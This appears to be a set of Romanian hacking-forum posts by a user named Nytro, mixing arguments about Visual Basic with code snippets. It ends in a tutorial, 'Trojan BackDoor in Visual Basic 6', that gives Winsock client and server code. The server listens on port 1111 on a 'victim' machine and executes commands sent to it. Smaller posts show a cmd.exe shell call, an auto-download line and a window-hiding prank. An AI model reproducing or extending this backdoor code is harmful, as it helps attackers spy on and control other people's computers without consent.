Nytro

Altul care se crede geniu ... Puteti sti 30 de limbaje de programare , nu cred ca o sa va ajute in viata , nu o sa te intrebe nimeni pe strada . Suntem prea mici ? Ce vrei sa spui ? Esti "mare" Deci si tu esti vedeta ... Daca participi la concursuri esti destept ? Nu prea cred , daca de exemplu pleci intr-un alt oras , mori de foame , mananci cartile de programare pe care le-ai citit ( noroc ca sunt multe si o sa iti tina putin de foame ) . Ce sfaturi a dat tw8 ? Sa scriu 300 de randuri ... Ce sfat ... In loc sa ma duc la magazin si sa zic "Dati-mi o paine" zic "Buna ziua stimata doamna vanzatoare . Ce zi frumoasa ... " , zic o poveste ... ?

Deci daca scriu in notepad Shell "cmd.exe /c comanda" si salvez cu extensia .remote , nu pot intra in calculatorul cuiva ? Ma intrebam la ce ti-au trebui 400 de linii de cod , in VB 6 cel putin erau necesare sub 100 .

ce vrei sa zici ca ai multe contacte ? Trebuie sa repet si nu imi place asta : sti VB 9 ? Stiai sa faci acest lucru in VB 9 ? Nu sunt ca tine , sa stau sa scriu 300 de randuri cand pot scrie 1 . Nu imi place sa imi bag capul . Cu cat un lucru e mai simplu cu atat e mai bine gandit . Cred ca nu mai are rost sa continuam ...

tw8 , oare de ce cred ca daca voi veni in Severin , nu vom putea merge la o bere ? In primul rand nu cred ca te va lasa mamica . In al doilea rand cred ca bei decat apa plata cu lamaie . Stai prea mult in fata calculatorului . Adica , faci ca o mare parte a romanilor care frecventeaza messengerul . Adica , vorbesti numai online daca pot zice asa , sunt chiar curios cum esti in viata de zi cu zi . Concurs ? Nu vreau sa demonstrez ca sunt mai bun ca tine , personal cred ca esti mai bun ca mine . Si nu iti plac codurile de un rand ? Cu ce te ajuta daca un cod are 300 de randuri ? Daca postam un cod de 300 de linii te simteai mai bine ? Sfat : iesi la aer .

dranaxum si tu esti de parere ca 400 de linii care fac ceva != 2 linii care fac acelasi lucru ? Poate din punct de vedere al resurselor ... Dar nu vad rostul , mai ales cand nu e un program foarte complex . Nici la un program complex nu prea vad utilitatea ... Cred ca executarea a 400 de instructiuni != de cea a doua ... Shell "cmd.exe /c comanda", vbHide ' Optional

Te-am pupat in fund ? Adica ? Am vrut alt nick deoarece vreau sa am peste tot nickul Nytro ... Si cu ce te-am pupat in fund ? Te-am rugat sa imi scoti warn-ul , ai zis ca nu poti . Asta a fost toata discutia . Nu vad unde te-am pupat in fund . Si ce reputatie ai ? Esti cumva o vedeta ? Cand o sa cresti poate vei sti ce vorbesti . Gandeste inainte de a vorbi , nu iti mai da talente . Fapte nu vorbe cum am mai zis . Si nu stiu programare nici pe jumatate din cat sti tu ? Nu fi atat de sigur . Si am mai spus , eu invat programare din placere , tu nu , si sti asta . Mai bine ia manualul de matematica , mai fa 200 de probleme ...

Poate banda are 10mbps ... Incearca sa descarci ceva de aici : www.torrentbits.ro ( daca mai sunt deschise inregistrarile ) . Sau descarca de pe rapidshare , sau un host foarte bun ceva , asa o sa vezi ce viteza ai la net . Si ce cauta la "Intrebari frecvente si raspunsuri la ele" ?

Am deviat rau de la subiect . Dupa cum am spus , e o diferenta intre teorie si practica , o mare diferenta , daca vei incerca iti vei da seama . Ceea ce ai spus ultima oara chiar suna a lauda . Probabil ai fost la olimpiade de matematica ... Asta intelegi prin succese ? . Nu sunt ca tine : sa stau 25 de ore pe zi in fata calculatorului si restul de 25 de ore din zi sa stau sa invat sa scriu , sa tocesc . Nu vreau sa ajung ca tine ... Eu fac din placere spre deosebire de tine ... Inca o data , rog un admin sa stearga topica .

De multe ori inseamna insa bun ... De exemplu , Auto-Download se poate face cu un singur rand de cod . Tw8 vrea 300 . Cu ce il ajuta daca scrie 300 de randuri daca codul lui face acelasi lucru ? Nu am spus ca e cel mai bun , dar in primul rand e nou . Cel mai mare deficit al sau este ca necesita .NET Framework 3.5 . Il recomand incepatorilor ... Il recomand si avansatilor , sa il incerce , sa se dea cu parerea . Cred ca in viitor pentru a cred un program va fi nevoie de forte putina programare , de foarte putin cod .

Vb 9 e mult mai bun decat cred multi , mult mai usor de folosit ... E cel mai usorlimbaj pe care il stiu , poti face multe lucruri foarte usor ...

Mda ... In fine , rog un admin sa stearga topica ... Edit : tu stiai sa faci acest lucru ? Sti VB9 ? Ca e usor stiu , dar trebuia sa scriu 300 de pagini ca sa iti placa ? Si putin imi pasa daca iti place tie ... Pe unii poate ii va ajuta . Si acest cod mai si demonstreaza cat de usor e VB 9 ... Si de functiile kernelului ... Daca e sa te intreb o functie cred ca o vei sti , insa la pus in practica ... cred ca va fi mai greu ... Nu te mai da atot-stiutor , lasa vorbele si treci la fapte ...

Mda , esti atot stiutor ce cauti aici daca sti totul ? Lucrez la o lista , uite inceputul : [ Information ] OS Full Name : My.Computer.Info.OSFullName() AvailablePhysicalMemory My.Computer.Info.AvailablePhysicalMemory() / 1024 / 1024 AvailableVirtualMemory : My.Computer.Info.AvailableVirtualMemory() / 1024 / 1024 OSPlatform : My.Computer.Info.OSPlatform() OSVersion : My.Computer.Info.OSVersion() TotalPhysicalMemory : My.Computer.Info.TotalPhysicalMemory() / 1024 / 1024 TotalVirtualMemory : My.Computer.Info.TotalVirtualMemory / 1024 / 1024 ################################################################################## [ Clipboard ] Clear : My.Computer.Clipboard.Clear() Get image from Clipboard : My.Computer.Clipboard.GetImage() Get Text : My.Computer.Clipboard.GetText()

Nu e cine stie ce dar poate va va folosi , voi reveni cu mai multe Public Class Form1 Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load My.Computer.Network.DownloadFile("http://national.nsbe.org/Portals/0/images/Michael_Smith.jpgHR.jpg", "C:\x.jpg") End Sub End Class

Slick , daca dezactivezi din Options de la messenger : allow yahoo websites to view when i'm online , mai functioneaza xeeber ? Mai arata daca esti online ?

Ce oameni

Se poate face o pagina asemanatoare cu xeeber usor cu o combinatie php si javascript si css ... insa loading nu stiu ...

Daca gasesti ceva sa imi dai si mie . Nu stiu exact ce sa fac ...

Pai ideea de baza o stiu , nu stiu sa o pun in practica . Nu prea ma descurc cu fisierele . Deci deschid server binar si il impart intr-o matrice . Apoi trebuie unite elementele . Ceva de genu . Iar in server , la ce vreau sa editez , folosesc un delimitator , pe care il folosesc si in client pentru a imparti in matrice ...

rair in conquiztador s-au bagat o gramada de bani . Cei peste 100000 de vizitatori unici au dovedit asta . Ceea ce a descoperit Slick nu e un amarat de bug ... Sper ca programul sa nu fie niciodata publicat . E pacat de joc , cel mai reusit joc web pe care il stiu . Daca programul va fi publicat se va ajunge cum s-a ajuns cu codurile de cs : toti copii de 10 ani joaca si "dau numai headshoturi" . Felicitarile mele Slick

Ms . Se pot face mai multe pornind de la asta , de exemplu in loc de hide , ar merge close ... poate in loc de foreground windows un findwindow ... Trebuie decat sa ai imaginatie

Inca o porcarie pe care am descoperito in timp ce ma jcam cu API-urile Vom avea nevoie de 2 APIuri : Private Declare Function ShowWindow Lib "user32" Alias "ShowWindow" (ByVal hwnd As Long, ByVal nCmdShow As Long) As Long Private Declare Function GetForegroundWindow Lib "user32" Alias "GetForegroundWindow" () As Long Si de un Timer la Interval 1 . Private Sub Timer1_Timer() Dim x x = GetForegroundWindow() ' x va fi handlerul ferestrei care detine focusul ShowWindow x, 0 ' Folosim APIul ShowWindow pentru a ascunde fereastra End Sub Rulati si dati click pe o fereastra

Trebuia Winsock1.RemoteHost = Text1.Text Tzai ce am uitat ... Ms ca mi-ai zis . Gata , am corectat

Ms . Pai cred ca voi mai face decat o parte , initial ma gandisem la 3 . Am explicat intr-o topica Swap mouse , crazy mouse ... Dar le mai explic o data in partea a doua

Crearea unui Trojan BackDoor in Visual Basic 6 © Nytro 2008 www.mortal-team.com Sa incepem . Ce e un trojan ( Backdoor ) ? Este o aplicatie creata pentru a fura date dintr-un calculator , pentru a spiona , uneori pentru a obtine control total asupra unui calculator . Ea este de obicei formata din doua componente : client si server . Serverul este aplicatia care va trebui instalata pe calculatorul victimei , componenta care va prelucra datele , iar clientul este aplicatia care va trimite comenzi catre server , va spune ce anume sa faca serverul . Care e ideea de baza ? Simplu . Din client trimitem un cuvant ( string ) catre server , iar atunci cand serverul va primi acel string , va face ceva anume . De exemplu , daca din client trimitem catre server stringul "mesaj" , serverul va afisa un MsgBox . Cum vom face acest lucru ? Vom folosi WINSOCK , mai exact MSWINSCK.OCX . Ce este acest winsock ? Este o biblioteca de functii , care ne permite sa ne conectam , sa trimitem si sa receptionam date . Sa incepem . Intram in Visual Basic , alegem Standard si punem un Winsock pe Form ( nu o sa stau sa va explic cum se face asta , daca nu stiti jucati Mario ) . Mai punem un TextBox pentru IP , si un buton de conectare . Asta pentru client . Deschidem din nou Visual Basic , pentru server , si nu punem decat un Winsock . Sa facem conexiunea . Serverul va deschide un port prin care va primi datele de la client , pe care le va procesa . Cum facem asta ? Private Sub Form_Load() On Error Resume Next ' Handler de erori . In caz de eroare , se trece peste eroare , nu se opreste rularea serverului . Winsock1.LocalPort = 1111 ' Deschidem portul 1111 ( Puteti alege alt port ) Winsock1.Listen ' Setam serverul sa astepte date de la client End Sub Serverul va trebui rulat . Apoi in client , ne conectam la server : Private Sub Command1_Click() On Error Resume Next ' La fel Winsock1.Close ' Inchidem o conexiune anterioara , daca aceasta exista Winsock1.RemoteHost = Text1.Text ' IPul la care vrem sa ne conectam , cel din TextBox . Daca testezi serverul pe calculatorul tau poti folosi la IP 127.0.0.1 . Winsock1.RemotePort = 1111 ' Setam portul prin care clientul sa se conecteze la server Winsock1.Connect ' Conectam clientul la server End Sub In caz de conexiune reusita , va interveni evenimentul Winsock_Connect . Putem afisa pe titlu ferestrei clientului , ca avem o conexiune reusita . Private Sub Winsock1_Connect() Form1.Caption = "Conectat la" & Text1.Text ' Setam captionul ( titlul ) ferestrei ca s-a conectat , Text1.Text , fiind IP-ul scris in TextBox . End Sub In caz de o conexiune nereusita va interveni evenimentul Private Sub Winsock1_Error() . La fel , putem afisa la titlul ferestrei , faptul ca a intervenit o eroare : Private Sub Winsock1_Error(ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean) Form1.Caption = "Eroare la conectare" End Sub Acum in server . La apasarea butonului de conectare din client , in server , va interveni evenimentul Winsock1_ConnectionRequest . Va trebui acceptata conexiunea . Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long) Winsock1.Close ' Inchidem o conexiune existenta , in caz ca exista Winsock1.Accept requestID ' Acceptam conexiunea de la client End Sub Cam asta a fost conexiunea . Acum , sa setam sa faca serverul ceva anume , pentru inceput sa deschida notepad . Pentru asta , vom trimite din client stringul "notepad" , iar cand serverul va primi acel string , va deschide notepad in calculatorul victimei . Cum trimitem stringul ? Vom pune inca un buton , si la apasarea acestuia , vom trimite stringul . Private Sub Command2_Click() On Error Resume Next Winsock1.SendData "notepad" ' Trimitem stringul "notepad" End sub La primirea stringului , in server , va interveni evenimentul Winsock1_DataArrival() . Vom primi si vom procesa datele . Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long) Dim date_primite As String ' Declaram variabila date_primite de tipul string Winsock1.GetData date_primite ' Memoram datale primite in variabila date_primite . If date_primite = "notepad" Then ' Verificam daca stringul trimis din client si memorat in server este "notepad" , si daca este , deschidem notepad . Shell "notepad.exe" ' Deschidem notepad . End If ' Inchidem instructiunea If End Sub Dar ce facem daca vrem sa trimitem mai multe date din client , si sa nu stim ce anume contin unele , sa poata fi modificate de utilizatorul clientului , de exemplu , sa trimitem un mesaj ? Simplu . Trimitem totul ca un singur string , iar in server il vom imparti intr-un vector . Vom face acest lucru in server , cu ajutorul functiei Split . Deci in client , la trimiterea stringului , va trebui sa folosim un delimitator . Vom impatri in server datele primite in vector folosind acel delimitator . Mai bine va dau un exemplu . Mai puneti pe Form un buton si un TextBox . Private sub Command3_click() On Error Resume Next Winsock1.SendData "mesaj|" + Text2.Text ' Dupa cum vedeti , dupa "mesaj" , se afla caracterul "|" . Vom folosi acest caracter pe post de delimitator . Cand serverul va primi stringul "mesaj" , va afisa un mesaj ( MsgBox ) , cu datele trimise dupa mesaj si anume Text2.Text . End Sub In server vom procesa datele primite : Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long) Dim date_primite As String Dim Vector() As String ' Declaram vectorul Vector() de tip string . Winsock1.GetData date_primite Vector() = Split(date_primite,"|") ' Acum impartim datele primite in vector in functie de delimitatorul nostru "|" . Asadar primul element al vectorului va fi "mesaj" , iar cel de-al doilea va fi Text2.Text , mesajul trimis din server . Atentie : vectorii in Visual Basic sunt in baza 0 , adica incep de la 0 . Asadar primul element al vectorului va fi Vector(0) nu Vector(1) . Putem seta ca vectorii sa inceapa de la 1 , folosind instructiunea Option Base 1 la Declarations . Deci Vector(0) va fi "mesaj" iar Vector(1) va fi mesajul trimis din client . Va trebui sa verificam apoi primul string Vector(0) , si daca acesta este "mesaj" vom afisa ca MsgBox continutul lui Vector(1) . If Vector(0) = "mesaj" Then ' Verificam daca primul string este "mesaj" MsgBox Vector(1) ' Afisam ca MsgBox continutul mesajului trimis din client. End If End Sub Aceasta este ideea de baza . Sa prezint in continuare starile prin care trece un Winsock . Putem verifica aceste stari , folosind metoda State . Aceste stari sunt : 0 - sckClosed - Conexiunea e inchisa 1 - sckOpen - Conexiunea e deschisa 2 - sckListening - Conexiunea e in asteptare 3 - sckConnectionPending - Conexiune in desfasurare 4 - sckResolvingHost - In curs de rezolvare 5 - sckResolved - Sistem gazda rezolvat 6 - sckConnecting - Se conecteaza 7 - sckConnected - Conectat 8 - sckClosing - Se inchide conexiunea 9 - sckError - Eroare Ce putem face cu aceste state-uri ? De exemplu nu lasam sa se trimita un string din client in caz ca acesta nu este conectat la server . Private Sub Command2_Click() If Winsock1.State <> 7 ' State-ul este 7 daca este conectat MsgBox "Nu esti conectat" ' In caz ca nu e conectat , afisam mesajul "Nu esti conectat" . Else: Winsock1.SendData "notepad" End If End Sub Daca incercam sa trimitem un string si clientul nu e conectat , si nu folosim On Error Resume Next , clientul se va inchide in urma unei erori . Nu pare cine stie ce , dar de la aceasta idee au plecat toti . Aceasta este decat prima parte , voi reveni si cu o a doua parte in care voi incerca sa va explic cat mai multe functii : Open CDRom , Hide Mouse Cursor etc . Sper ca ati inteles . Credit : Nytro www.mortal-team.com

Am avut si niste probleme de la Visual Basic , nu puteam face . Pai nu e chiar asa de usor , am ideea de la Slick , dar e mai greu de pus in practica .